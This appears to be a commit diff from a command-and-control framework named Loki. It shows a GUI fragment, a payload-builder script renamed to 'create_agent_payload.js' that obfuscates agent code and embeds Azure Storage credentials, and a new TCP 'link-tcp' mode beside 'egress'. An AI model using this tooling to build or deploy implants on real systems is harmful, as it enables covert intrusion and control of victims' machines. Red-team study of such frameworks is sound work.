<span class="detail-label">Platform</span><span class="detail-value">${agent.platform || ''}</span>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
if (index < agentsData.length - 1) {
|
||||
html += `
|
||||
<div class="arrow-container">
|
||||
<div class="arrow">↓</div>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
});
|
||||
container.innerHTML = html;
|
||||
});
|
||||
|
||||
function handleAction(action, linkId) {
|
||||
ipcRenderer.send('link-action', { action, linkId });
|
||||
}
|
||||
|
||||
// Base64 encoded SVG icons
|
||||
const PLATFORM_ICONS = {
|
||||
Windows: 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA4OCA4OCI+PHBhdGggZD0iTTAgMTJoMzd2MzdIMFYxMnptNDEgMGg0N3YzN0g0MVYxMnptLTQxIDQxaDM3djM3SDBWNTN6bTQxIDBoNDd2MzdINDFWNTN6Ii8+PC9zdmc+',
|
||||
Linux: 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA1MTIgNTEyIj48cGF0aCBkPSJNMjU2IDEyOGMtMTcuNyAwLTMyIDE0LjMtMzIgMzJ2MzJoNjR2LTMyYzAtMTcuNy0xNC4zLTMyLTMyLTMyem0tOTYgNjRjLTE3LjcgMC0zMiAxNC4zLTMyIDMydjk2YzAgMTcuNyAxNC4zIDMyIDMyIDMyaDY0di0zMmgtMzJ2LTY0aDMydi0zMmgtNjR6bTE5MiAwdjMyaDMydjY0aC0zMnYzMmg2NGMxNy43IDAgMzItMTQuMyAzMi0zMnYtOTZjMC0xNy43LTE0LjMtMzItMzItMzJoLTY0eiIvPjwvc3ZnPg==',
|
||||
macOS: 'assets/images/apple.png',
|
||||
'Azure Storage Account': 'assets/images/azure.png'
|
||||
};
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -49,7 +49,7 @@ if (isDebug) {
|
||||
// ---------- Help Menu ----------
|
||||
if (argMap.h || argMap.help) {
|
||||
console.log(`
|
||||
Usage: node obfuscateAgent.js [AppName] [--account <StorageAccount>] [--token <SASToken>] [--meta <ContainerName>] [-h|--help] [--debug|-d]
|
||||
Usage: node create_agent_payload.js [AppName] [--account <StorageAccount>] [--token <SASToken>] [--meta <ContainerName>] [--tcp <port>] [-h|--help] [--debug|-d]
|
||||
|
||||
Arguments:
|
||||
AppName Optional. Used to name the final output in package.json.
|
||||
@@ -57,12 +57,13 @@ Arguments:
|
||||
--account Azure Storage Account name. Will prompt if not provided.
|
||||
--token Azure SAS Token. Will prompt if not provided.
|
||||
--meta Container name for metadata. If omitted, a random name is generated.
|
||||
--tcp Optional. TCP port for link mode. If specified, agent will run in link-tcp mode.
|
||||
--cleanup Remove node modules, package.json, and other dependency files after execution.
|
||||
-h, --help Show this help message and exit.
|
||||
--debug, -d Enable verbose output about file operations.
|
||||
|
||||
Example:
|
||||
node obfuscateAgent.js MyTool --account myacct --token 'se=2025...' --meta metaX123456 --debug
|
||||
node create_agent_payload.js MyTool --account myacct --token 'se=2025...' --meta metaX123456 --tcp 8080 --debug
|
||||
|
||||
This script:
|
||||
- Obfuscates JavaScript files in ./agent and writes to ./app
|
||||
@@ -250,17 +251,23 @@ try {
|
||||
}
|
||||
const storageAccount = argMap.account || await promptInput("\t- Enter Storage Account : ");
|
||||
const sasToken = argMap.token || await promptInput("\t- Enter SAS Token : ");
|
||||
const metaContainer = argMap.meta || generateMetaContainer();
|
||||
const metaContainer = argMap.meta || "mzl80liqhujwg";
|
||||
//const metaContainer = argMap.meta || generateMetaContainer();
|
||||
|
||||
console.log("\n[+] Configuration:");
|
||||
console.log("\t- Storage Account :", storageAccount);
|
||||
console.log("\t- SAS Token :", sasToken);
|
||||
console.log("\t- Meta Container :", metaContainer);
|
||||
|
||||
const tcpPort = argMap.tcp ? parseInt(argMap.tcp) : 3000;
|
||||
const mode = argMap.tcp ? 'link-tcp' : 'egress';
|
||||
|
||||
const configContent = `module.exports = {
|
||||
storageAccount: '${storageAccount}',
|
||||
metaContainer: '${metaContainer}',
|
||||
sasToken: '${sasToken}'
|
||||
sasToken: '${sasToken}',
|
||||
p2pPort: ${tcpPort},
|
||||
mode: '${mode}'
|
||||
};\n`;
|
||||
|
||||
fs.writeFileSync(configSrcPath, configContent, 'utf-8');
|
||||
@@ -109,4 +109,4 @@ npm run dist
|
||||
|
||||
#### ⚙️ Final Step: Configure Your Azure Storage:
|
||||
|
||||
- After launching the Loki GUI Client, enter your Azure Storage Account, SAS Token, and Meta Container information. Ensure the 'Meta Container' information matches the value you receive after running the 'obfuscateAgent.js' on the agent files.
|
||||
- After launching the Loki GUI Client, enter your Azure Storage Account, SAS Token, and Meta Container information. Ensure the 'Meta Container' information matches the value you receive after running the 'create_agent_payload.js' on the agent files.
|
||||